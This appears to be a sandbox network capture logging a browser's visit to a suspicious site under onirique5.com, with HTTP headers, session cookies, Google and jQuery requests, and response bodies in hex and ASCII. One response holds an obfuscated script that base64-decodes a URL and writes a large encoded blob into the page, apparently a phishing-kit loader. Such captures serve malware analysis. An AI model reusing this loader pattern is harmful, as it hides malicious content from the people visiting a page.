2025-03-25 19:31:06 UTC	1202	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nxueDiiPQJ2JyQAUUL%2BuDBllLxi%2FKebtUj009Y7IDdDD0gSXKuvcsrwW44PGR4JIfpH1jHKWCvGElDF3AMOwyZ3dcxpjln2iUQLFiSfMSES5RNA51eHDbFcoslOR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=5084&min_rtt=5050&rtt_var=1918&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1575&delivery_rate=573465&cwnd=249&unsent_bytes=0&cid=78b040c8b9f9d66b&ts=155&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjRMMW9QU0h0NjFGSWdZaWdHdks2ZUE9PSIsInZhbHVlIjoiOUY1Q1VHU3NFRFFaYWNqOHhFQVptMDRlV1cvckRweVFOK1AwNVJwd3NKN1duT05NM2VYM2Z0WVA1UzZPQUNYeEFud0NTSlMvaTE4bEQyNEVRRG0rYTZ5Q0RpK3ZyVmVWRDFxclNMYStpOGFWNUFCM21JdDhhdGFKZ2h2MkdDK0EiLCJtYWMiOiJmZTcyNDIyNTE0ODM3OWRlNDI4NjM3ZTZjNTllODFkYTA5YTExMjQ1NDQyMTcwMDVhZWVlNmFmZmIxM2UwOTNkIiwidGFnIjoiIn0%3D; expires=Tue, 25-Mar-2025 21:31:06 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-25 19:31:06 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 68 73 54 57 78 48 59 32 46 48 59 55 35 50 61 45 70 61 52 57 59 30 52 57 35 78 54 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 45 52 75 63 55 59 35 53 44 6c 68 4f 47 39 6c 5a 47 68 4b 61 32 4a 30 55 58 49 7a 55 47 64 49 55 47 46 30 64 6e 6c 47 54 54 51 72 4f 56 68 52 64 57 78 52 59 56 46 57 54 47 5a 32 5a 46 70 4d 4d 31 46 43 4e 69 39 46 5a 57 56 59 52 6a 68 42 64 6e 5a 45 53 48 41 32 5a 6d 6f 78 55 55 4a 4d 52 56 4d 77 5a 6e 56 57 4e 6c 63 72 63 6a 52 58 54 32 64 6c 5a 30 5a 77 52 6c 52 71 5a 6d 77 79 4e 47 74 58 4f 57 35 44 54 31 42 4f 55 6d 31 5a 4e 7a 68 77 63 58 46 4e 52 58 52 59 54 58 4a 58 57 56 56 4c 4d 6b 70 61 64 6c 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InhsTWxHY2FHYU5PaEpaRWY0RW5xTlE9PSIsInZhbHVlIjoibERucUY5SDlhOG9lZGhKa2J0UXIzUGdIUGF0dnlGTTQrOVhRdWxRYVFWTGZ2ZFpMM1FCNi9FZWVYRjhBdnZESHA2ZmoxUUJMRVMwZnVWNlcrcjRXT2dlZ0ZwRlRqZmwyNGtXOW5DT1BOUm1ZNzhwcXFNRXRYTXJXWVVLMkpadlo
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 4d 52 71 50 52 73 57 50 69 6c 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 44 53 43 35 76 62 6d 6c 79 61 58 46 31 5a 54 55 75 59 32 39 74 4c 33 68 53 62 55 39 4f 61 31 49 35 53 44 4e 30 55 33 64 6e 57 6a 5a 69 59 57 74 6b 55 46 46 4e 4c 77 3d 3d 22 29 3b 0a 43 42 49 64 55 4f 77 6b 43 70 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 64 77 75 56 42 56 79 5a 4e 72 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 4d 52 71 50 52 73 57 50 69 6c 20 3d 3d 20 43 42 49 64 55 4f 77 6b 43 70 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 64 77 75 56 42 56 79 5a 4e 72 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 Data Ascii: 7ff9<script>MRqPRsWPil = atob("aHR0cHM6Ly9DSC5vbmlyaXF1ZTUuY29tL3hSbU9Oa1I5SDN0U3dnWjZiYWtkUFFNLw==");CBIdUOwkCp = atob("bm9tYXRjaA==");dwuVBVyZNr = atob("d3JpdGU=");if(MRqPRsWPil == CBIdUOwkCp){document[dwuVBVyZNr](decodeURIComponent(escape(atob('
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 Data Ascii: 6g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk7
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 Data Ascii: g776g776g44Wk44Wk44Wk44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 4Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 Data Ascii: Wk44Wk44Wk776g776g44Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g4
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 Data Ascii: k776g44Wk44Wk776g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk776g776g776g776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 Data Ascii: 776g776g776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776
2025-03-25 19:31:06 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b Data Ascii: 76g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:07 UTC	579	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiJo8sBCIWgzQEI9s/OAQiA1s4BCNLgzgEIx+HOAQiv5M4BCOLkzgEI5eTOAQiL5c4B Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:07 UTC	1303	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:07 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-V4wZWmwO8sXObBAOy5KjRg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-25 19:31:07 UTC	876	IN	Data Raw: 33 36 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 65 61 6e 75 74 73 20 73 6e 6f 6f 70 79 20 73 74 61 72 62 75 63 6b 73 22 2c 22 6d 61 6a 6f 72 20 6c 65 61 67 75 65 20 62 61 73 65 62 61 6c 6c 20 6f 70 65 6e 69 6e 67 20 64 61 79 22 2c 22 66 66 78 69 76 20 70 61 74 63 68 20 37 2e 32 20 70 61 74 63 68 20 6e 6f 74 65 73 22 2c 22 77 69 6e 74 65 72 20 77 65 61 74 68 65 72 20 61 64 76 69 73 6f 72 79 20 6d 61 69 6e 65 22 2c 22 68 31 62 20 76 69 73 61 73 20 6e 65 77 73 22 2c 22 61 70 70 6c 65 20 69 70 68 6f 6e 65 20 31 37 22 2c 22 77 65 61 74 68 65 72 20 73 74 6f 72 6d 73 20 74 6f 72 6e 61 64 6f 65 73 22 2c 22 6f 72 65 67 6f 6e 20 64 75 63 6b 73 20 66 6f 6f 74 62 61 6c 6c 20 72 65 63 72 75 69 74 69 6e 67 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 Data Ascii: 365)]}'["",["peanuts snoopy starbucks","major league baseball opening day","ffxiv patch 7.2 patch notes","winter weather advisory maine","h1b visas news","apple iphone 17","weather storms tornadoes","oregon ducks football recruiting"],["","","","","","
2025-03-25 19:31:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:07 UTC	665	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ergc.onirique5.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:07 UTC	565	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Tue, 25 Mar 2025 19:31:07 GMT Via: 1.1 varnish Age: 1600050 X-Served-By: cache-lga21970-LGA X-Cache: HIT X-Cache-Hits: 1041 X-Timer: S1742931068.716012,VS0,VE0 Vary: Accept-Encoding
2025-03-25 19:31:07 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-25 19:31:07 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-25 19:31:07 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-25 19:31:07 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-25 19:31:08 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 